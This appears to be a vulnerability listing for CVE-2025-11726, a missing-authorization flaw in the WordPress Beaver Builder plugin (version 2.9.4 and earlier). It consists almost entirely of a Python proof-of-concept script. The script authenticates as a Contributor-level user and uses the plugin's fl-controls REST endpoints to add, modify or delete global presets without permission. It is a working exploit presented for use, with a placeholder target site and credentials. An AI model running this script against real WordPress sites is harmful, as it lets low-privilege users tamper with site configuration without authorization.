CVE-2025-11726 | WordPress Beaver Builder插件授权缺失漏洞

''' CVE-2025-11726 PoC - Beaver Builder Missing Authorization Target: WordPress site with Beaver Builder plugin <= 2.9.4 Authentication: Contributor+ role required ''' import requests import json import sys # Configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" # API Endpoints under fl-controls/v1 namespace API_BASE = f"{TARGET_URL}/wp-json/fl-controls/v1" def get_auth_token(): """Get WordPress REST API authentication token""" login_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get("token") return None def add_global_preset(token): """Add malicious global color preset - unauthorized action""" headers = {"Authorization": f"Bearer {token}"} preset_data = { "type": "color", "name": "Malicious Preset", "value": "#malicious_color" } response = requests.post( f"{API_BASE}/presets", headers=headers, json=preset_data ) return response def modify_global_preset(token, preset_id): """Modify existing global preset - unauthorized action""" headers = {"Authorization": f"Bearer {token}"} update_data = { "name": "Modified Preset", "value": "#modified_color" } response = requests.put( f"{API_BASE}/presets/{preset_id}", headers=headers, json=update_data ) return response def delete_global_preset(token, preset_id): """Delete global preset - unauthorized action""" headers = {"Authorization": f"Bearer {token}"} response = requests.delete( f"{API_BASE}/presets/{preset_id}", headers=headers ) return response def main(): print("[*] CVE-2025-11726 PoC - Beaver Builder Authorization Bypass") token = get_auth_token() if not token: print("[-] Authentication failed") sys.exit(1) print("[+] Authenticated successfully with Contributor role") # Add malicious preset resp = add_global_preset(token) if resp.status_code in [200, 201]: print("[+] Successfully added malicious global preset (Unauthorized!)") print(f"[*] Response: {resp.json()}") else: print(f"[-] Failed to add preset: {resp.status_code}") if __name__ == "__main__": main()